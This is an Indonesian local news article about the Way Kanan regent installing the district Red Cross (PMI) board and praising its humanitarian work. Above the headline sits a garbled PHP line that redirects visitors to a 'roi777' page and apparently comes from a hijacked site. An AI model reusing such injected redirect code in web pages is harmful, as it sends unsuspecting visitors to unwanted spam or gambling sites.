header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Bupati Adipati Lantik Kepengurusan PMI Way Kanan -
Bupati Adipati Lantik Kepengurusan PMI Way Kanan

TRANSLAMPUNG.COM, BLAMBANGAN UMPU – Bupati Waykanan Raden Adipati Surya melantik dan mengukuhkan Pengurus Palang Merah Indonesia (PMI) kabupaten Way Kanan yang diketuai oleh Edward Anthoni di aula PKK Pemkab setempat,  Selasa (3/4).

Hadir dalam kesempatan tersebut Sekda, Staf Ahli, Para Asisten, Inspektur, Sekretaris Dewan, Kepala Badan, Dinas, Kantor, Bagian, para Camat di Lingkungan Pemerintah Kabupaten Way Kanan,Ketua Pengurus Palang Merah Indonesia Provinsi Lampung,Ketua dan jajaran Pengurus PMI Kabupaten Way Kanan.

Dalam sambutannya Bupati Raden Adipati Surya memgatakan, PMI merupakan singkatan dari Palang Merah Indonesia, sebuah Organisasi yang dibentuk pada tanggal 03 September 1945 ini adalah sebuah organisasi yang membuktikan kejayaan Indonesia pada saat itu, yang mampu mengebrak kacamata Internasional, dibuktikan dengan sumbangsih Sosial PMI pada peperangan Jenewa yang tercatat dalam naskah Konvensi Jenewa 1949, sebuah awal kontribusi Palang merah Indonesia saat itu kepada dunia.

Meskipun PMI sebelumnya sudah terlahir jauh sebelum Ir. Soekarno mendeklarasikan, yakni pernah ada PMI sebelumnya yang didirikan oleh pemerintah kolonial belanda pada tanggal 21 Oktober 1873 kala itu bernama NERKAI, akan tetapi dengan lantang Presiden Pertama kita mengambil alih PMI ini pada tanggal 03 September 1945, karena setelah dinyatakan Indonesia Merdeka Pada tanggal 17 Agustus 1945 maka apapun organisasi yang ada didalam negara Indonesia adalah milik Indonesia, dan penyerahan aset NERKAI Saat itu dengan sah diberikan pada Indonesia Tanggal 16 Januari 1950.

“Terlepas dari sekelumit sejarah berdirinya  PMI itu, terbukti selama ini Palang Merah Indonesia (PMI) telah membantu pemerintah dalam urusan kebencanaan dan kemanusiaan terutama  dalam hal setiap urusan kebencanaan, pengungsian, lingkungan hidup dan lain sebagainya, PMI selalu berperan besar dan paling cepat dalam memberikan pertolongan karena PMI dan tenaga sukarelanya selalu punya hati dan tenaga untuk menjalankan tugas kemanusiaan yang sangat mulia ini. Namun demikian, relasi dengan pemerintah daerah masih menjadi tantangan bagi organisasi kemanusiaan PMI, karena terkadang masih dilihat sebelah mata, PMI harus tetap bersemangat dan tidak patah arang walaupun dengan dana minim yang didapat melalui sumbangan sukarela, donatur dan bulanan dana PMI. Dalam tugas pelayanan kemanusiaan,  PMI berprinsip selalu siaga, cepat dan tepat. Dalam kondisi bencana, PMI wajib sampai lebih dahulu dibanding organisasi kemanusiaan lainnya. Tentu hal ini karena PMI merupakan organisasisasi kemanusiaan terbesar di dunia dan Indonesia, yang para relawannya tersebar sampai ke seluruh penjuru desa,” terang Bupati.

Lebih jauh diterangkannya, Kehadiran Palang Merah Indonesia (PMI) di Kabupaten Way Kanan memang sangat dibutuhkan, mengingat sebagian wilayahnya masih sulit dijangkau sehingga tidak menutup kemungkinan bila terjadi bencana akan mengalami kesulitan untuk memberikan pertolongan. Oleh karena itu PMI harus senantiasa memperteguh komitmen pengabdian  kemanusiaannya.

“Saya berharap dengan dilantiknya Pengurus yang baru ini, PMI Way  Kanan akan lebih loyal, berfungsi dan bersinergi dalam menjalankan tugas dan amanah organisasi, saling bekerja sama serta saling memberi informasi dan menjaga komitmen moral dalam melayani masyarakat,” pintanya. (Yudi)

News Reporter